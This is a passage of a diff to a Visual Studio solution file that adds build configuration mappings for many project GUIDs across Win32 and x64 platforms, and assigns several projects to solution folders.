+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|Win32.ActiveCfg = Release|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|Win32.Build.0 = Release|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|x64.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|x64.Build.0 = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|Win32.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.Build.0 = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.ActiveCfg = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.Build.0 = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.ActiveCfg = Debug|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.Build.0 = Debug|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.Build.0 = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.Build.0 = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|Win32.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.Build.0 = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.Build.0 = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.ActiveCfg = Debug|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.Build.0 = Debug|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.ActiveCfg = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.Build.0 = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.Build.0 = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|Win32.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|x64.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|x64.Build.0 = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|Win32.ActiveCfg = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|Win32.Build.0 = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|x64.ActiveCfg = Debug|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|x64.Build.0 = Debug|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|Win32.ActiveCfg = Release|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|Win32.Build.0 = Release|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|x64.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|x64.Build.0 = Release|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|Win32.ActiveCfg = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|x64.ActiveCfg = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|x64.Build.0 = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|x64.ActiveCfg = Debug|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|x64.Build.0 = Debug|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.Build.0 = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|x64.ActiveCfg = Release|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|x64.Build.0 = Release|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|Win32.ActiveCfg = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|x64.ActiveCfg = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|x64.Build.0 = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Win32.Build.0 = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|x64.ActiveCfg = Debug|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|x64.Build.0 = Debug|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Win32.ActiveCfg = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Win32.Build.0 = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|x64.ActiveCfg = Release|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|x64.Build.0 = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|Win32.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|x64.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|x64.Build.0 = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|Win32.Build.0 = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|x64.ActiveCfg = Debug|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|x64.Build.0 = Debug|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|Win32.ActiveCfg = Release|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|Win32.Build.0 = Release|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|x64.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|x64.Build.0 = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|Win32.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|x64.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|x64.Build.0 = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.Build.0 = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|x64.ActiveCfg = Debug|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|x64.Build.0 = Debug|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.ActiveCfg = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.Build.0 = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|x64.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|x64.Build.0 = Release|x64
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|Win32.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|Win32.Build.0 = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|x64.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Debug|Win32.ActiveCfg = Debug|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Debug|x64.ActiveCfg = Debug|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Release|Win32.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Release|x64.ActiveCfg = Release|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|x64.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|x64.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|x64.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|x64.Build.0 = All|Win32
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.All|Win32.ActiveCfg = Release|x64
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.All|x64.ActiveCfg = Release|x64
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.All|x64.Build.0 = Release|x64
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.Debug|Win32.ActiveCfg = Debug|Win32
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.Debug|x64.ActiveCfg = Debug|x64
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.Release|Win32.ActiveCfg = Release|Win32
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}.Release|x64.ActiveCfg = Release|x64
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|Win32.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|Win32.Build.0 = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|x64.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Debug|Win32.ActiveCfg = Debug|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Debug|x64.ActiveCfg = Debug|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Release|Win32.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Release|x64.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.All|Win32.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.All|x64.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Debug|x64.ActiveCfg = Debug|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Release|Win32.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Release|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|Win32.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|Win32.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|x64.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|Win32.ActiveCfg = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|Win32.Build.0 = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|x64.ActiveCfg = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|x64.Build.0 = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|Win32.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|Win32.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|x64.Build.0 = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.All|Win32.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.All|x64.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Debug|x64.ActiveCfg = Debug|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Release|Win32.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Release|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|Win32.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|Win32.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|x64.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|Win32.Build.0 = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|x64.ActiveCfg = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|x64.Build.0 = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|Win32.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|Win32.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|x64.Build.0 = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.All|Win32.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.All|x64.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Debug|Win32.ActiveCfg = Debug|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Debug|x64.ActiveCfg = Debug|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Release|Win32.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Release|x64.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.All|Win32.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.All|x64.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Debug|Win32.ActiveCfg = Debug|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Debug|x64.ActiveCfg = Debug|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Release|Win32.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Release|x64.ActiveCfg = Release|Win32
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.All|Win32.ActiveCfg = Release|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.All|x64.ActiveCfg = Release|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.All|x64.Build.0 = Release|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Debug|Win32.ActiveCfg = Debug|Win32
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Debug|Win32.Build.0 = Debug|Win32
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Debug|x64.ActiveCfg = Debug|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Debug|x64.Build.0 = Debug|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Release|Win32.ActiveCfg = Release|Win32
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Release|Win32.Build.0 = Release|Win32
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Release|x64.ActiveCfg = Release|x64
+		{70564D74-199A-4452-9C60-19ED5F242F0D}.Release|x64.Build.0 = Release|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.All|Win32.ActiveCfg = Release|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.All|x64.ActiveCfg = Release|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.All|x64.Build.0 = Release|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Debug|Win32.ActiveCfg = Debug|Win32
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Debug|Win32.Build.0 = Debug|Win32
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Debug|x64.ActiveCfg = Debug|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Debug|x64.Build.0 = Debug|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Release|Win32.ActiveCfg = Release|Win32
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Release|Win32.Build.0 = Release|Win32
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Release|x64.ActiveCfg = Release|x64
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E}.Release|x64.Build.0 = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|Win32.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|Win32.Build.0 = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|x64.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|x64.Build.0 = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|Win32.ActiveCfg = Debug|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|Win32.Build.0 = Debug|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|x64.ActiveCfg = Debug|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|x64.Build.0 = Debug|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|Win32.ActiveCfg = Release|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|Win32.Build.0 = Release|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|x64.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|x64.Build.0 = Release|x64
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
@@ -1670,6 +2525,8 @@
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3} = {9460B5F1-0A95-41C4-BEB7-9C2C96459A7C}
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B} = {9460B5F1-0A95-41C4-BEB7-9C2C96459A7C}
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577} = {9460B5F1-0A95-41C4-BEB7-9C2C96459A7C}
+		{05C9FB27-480E-4D53-B3B7-6338E2526666} = {9460B5F1-0A95-41C4-BEB7-9C2C96459A7C}
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F} = {9460B5F1-0A95-41C4-BEB7-9C2C96459A7C}
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
 		{C24FB505-05D7-4319-8485-7540B44C8603} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
@@ -1683,6 +2540,11 @@
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
+		{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
+		{3C977801-FE88-48F2-83D3-FA2EBFF6688E} = {E72B5BCB-6462-4D23-B419-3AF1A4AC3D78}
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C} = {C5F182F9-754A-4EC5-B50F-76ED02BE13F4}
 		{A27CCA23-1541-4337-81A4-F0A6413078A0} = {C5F182F9-754A-4EC5-B50F-76ED02BE13F4}
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24} = {C5F182F9-754A-4EC5-B50F-76ED02BE13F4}
@@ -1695,6 +2557,7 @@
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B} = {A5A27244-AD24-46E5-B01B-840CD296C91D}
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52} = {A5A27244-AD24-46E5-B01B-840CD296C91D}
 		{38FE0559-9910-43A8-9E45-3E5004C27692} = {A5A27244-AD24-46E5-B01B-840CD296C91D}
+		{70564D74-199A-4452-9C60-19ED5F242F0D} = {A5A27244-AD24-46E5-B01B-840CD296C91D}
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723} = {CBD81696-EFB4-4D2F-8451-1B8DAA86155A}
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98} = {B8F5B47B-8568-46EB-B320-64C17D2A98BC}
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {0C808854-54D1-4230-BFF5-77B5FD905000}
@@ -1705,6 +2568,7 @@
 		{36E854E3-CE12-4348-A125-CCF3F9D74813} = {0C808854-54D1-4230-BFF5-77B5FD905000}
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC} = {0C808854-54D1-4230-BFF5-77B5FD905000}
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E} = {0C808854-54D1-4230-BFF5-77B5FD905000}
+		{834E2B2F-5483-4B80-8FE3-FE48FF76E5C0} = {0C808854-54D1-4230-BFF5-77B5FD905000}
 		{692F6330-4D87-4C82-81DF-40DB5892636E} = {4CF6A6AC-07DE-4B9E-ABE1-7F98B64E0BB0}
 		{2286DA73-9FC5-45BC-A508-85994C3317AB} = {4CF6A6AC-07DE-4B9E-ABE1-7F98B64E0BB0}
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593} = {4CF6A6AC-07DE-4B9E-ABE1-7F98B64E0BB0}
@@ -1714,16 +2578,13 @@
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4} = {F69A4A6B-9360-4EBB-A280-22AA3C455AC5}
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836} = {F69A4A6B-9360-4EBB-A280-22AA3C455AC5}
 		{89385C74-5860-4174-9CAF-A39E7C48909C} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1906D736-08BD-4EE1-924F-B536249B9A54} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1CED5987-A529-46DC-B30F-870D85FF9C94} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{49C34584-B6DA-448F-83CF-27584DC9FC90} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
@@ -1749,6 +2610,14 @@
 		{419C8F80-D858-4B48-A25C-AF4007608137} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{D0B36172-CD76-454A-9B89-990025266C2A} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{5927104D-C14C-4AC8-925C-4AB681762E75} = {C120A020-773F-4EA3-923F-B67AF28B750D}
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A} = {C120A020-773F-4EA3-923F-B67AF28B750D}
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD} = {C120A020-773F-4EA3-923F-B67AF28B750D}
@@ -1762,6 +2631,9 @@
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B} = {C120A020-773F-4EA3-923F-B67AF28B750D}
